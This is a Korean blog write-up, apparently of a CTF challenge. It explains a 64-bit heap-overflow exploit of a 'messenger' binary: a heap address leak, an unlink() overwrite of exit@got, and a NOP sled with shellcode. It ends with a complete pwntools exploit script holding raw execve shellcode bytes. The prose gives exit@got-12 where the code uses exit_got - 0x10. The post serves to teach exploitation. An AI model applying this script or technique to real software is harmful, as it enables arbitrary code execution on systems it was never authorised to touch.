ezhp 과 비슷한 문제라길래 풀어본다. 64비트인거 빼고 완전 똑같다고 보면된다.
다만 다른점은 힙을 2개밖에 할당할 수 밖에 없고 그 사이즈 또한 32바이트로 제한되어있다.
실험) 2개의 메시지를 임의로 생성하고 "A*31", "B*31" 를 입력한 모습 ([heap]에 실행권한도 있음) 뒤에 \x0a 개행이 붙은것을 확인 가능
힙 메모리를 보니 malloc_chunk에 힙 메모리 주소가 적혀있는 것을 확인할 수 있다.
구조를 좀 생각해보면..
힙 주소가 시작하는 부분부터 한 개의 chunk : | 8byte : ? | | 8byte : size | | 8byte : fㄱ
d | | 8byte : bk | | 32byte : data | | 8byte : ? |
힙 주소도 막 적혀있고 그러는데... 이러면 힙 주소 leak 도 쉽게 될것 같아 보이네..
일단 힙 시작 주소는 매번 바뀌니 이 값을 얻어와야 한다.
여러군데 있는 것 중 하나를 고르자..
A를 56개를 넣고 [V]iew message 를 하면 7칸이면.. 0x603068 주소의 값이 leak 될지어니.. 이 값은 0x6030a8로 다음 힙 주소를 가리킨다.
(쉽게 생각하면 요기는 두 번째 청크의 fd값임)
여기서 -a8 을 하면 heap 시작 주소를 획득할 수 있다! (B 55개 넣어주면.. 주소가 leak 됨)
자 그런다음 unlink() 를 하기 위해 2번째 청크의 fd, bk 를 조작한다.
unlink()를 진행하면 bk+8 = fd , fd+16 = bk 로 fd, bk 가 조작된다.
(참고로 이 문제나 ezhp 문제는 prev_size 플래그 값에 상관없이 걍 free하면 다 unlink()가 불림 - 바이너리 분석하면 쉽게 암)
그럼 fd에는 exit@got-12 를, bk에는 leak_heap+0xa8 을 넣어줌
이제 leak_heap+0xa8(0x6030a8) 에 쉘코드를 넣어주면 끝!!
마지막으로 명심해야할건 fd+16 = bk 가 되서 got를 변경했다고 하더라도 bk+8 에 fd 값이 들어가므로
이걸 주의해서 오버플로로 덮어줘야 한다는 사실 잊지말길.. ezhp 에서도 그렇게 했다.
<시나리오를 짜면 다음과 같다>
1. [L]eave message 를 통해 힙 청크를 2개 한다.
2. First Overflow : [C]ange message 를 통해 두 번째 청크의 prev_size 와 size 까지 덮는다.
-> 그럼 2번째 청크의 fd까지 출력이 될지언데, 여기서 일정 사이즈(0xa8) 만큼 빼주면 ...heap 시작 주소를 구할 수 있음
3. Second Overflow : [C]ange message 를 통해 두 번째 청크의 fd, bk 를 exit@got-12, heap_ptr+0xa8 로 바꿈
4. [R]emove message 를 통해 두 번째 청크를 해제 시킴 : 자동으로 unlink() 불림
5. Third Overflow : [C]ange message 를 통해 "\x90"*500 + shellcode 로 다 덮어버림
<Exploit>
leak 하는 과정에서 View(0) 를 에서 recvuntil("\n")을 두번 한 이유는 puts가 메세지를 뿌려주는데 개행으로 갈려서 2번뿌려주기 때문이고 또 주소를 뿌리는 과정에서 \x00 널까지 출력하므로 ljust(8,"\x00") 을 통해서 64비트 주소형식을 만들어줘야함!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | # !/usr/bin/env python from pwn import * shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" elf = ELF("./messenger") exit_got = elf.got["exit"] def Menu(index): s.recvuntil(">>") s.sendline(str(index)) def Leave(size, payload): Menu('L') s.recvuntil("size : ") s.sendline(str(size)) s.recvuntil("msg : ") s.sendline(payload) def Remove(index): Menu('R') s.recvuntil("index : ") s.sendline(str(index)) def Change(index, size, payload): Menu('C') s.recvuntil("index : ") s.sendline(str(index)) s.recvuntil("size : ") s.sendline(str(size)) s.recvuntil("msg : ") s.sendline(payload) def View(index): Menu('V') s.recvuntil("index : ") s.sendline(str(index)) if __name__ == "__main__": s = process("./messenger") Leave(32, "A"*31) Leave(32, "A"*31) payload = "BBBB"*14 Change(0, 1000 ,payload[:-1]) View(0) s.recvuntil("\n") heap_ptr = u64(s.recvuntil("\n")[:-1].ljust(8,"\x00")) - 0xa8 log.info("heap_ptr : "+str(hex(heap_ptr))) payload = "B"*56 payload += p64(exit_got - 0x10) # exit_got() payload += p64(heap_ptr + 0xa8) Change(0, 1000, payload) Remove(1) payload = "\x90"*500 payload += shellcode Change(0, 1000, payload) s.recvuntil(">>") s.sendline() s.interactive() | cs |
'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글
defcon 2014 Baby_first_heap (0) | 2018.03.14 |
---|---|
heap 문제 풀이 목록 (0) | 2018.03.13 |
Plaid CTF 2014 ezhp (0) | 2018.03.01 |
Protostar heap3 (0) | 2018.02.27 |
Double Free Bug (0) | 2018.02.23 |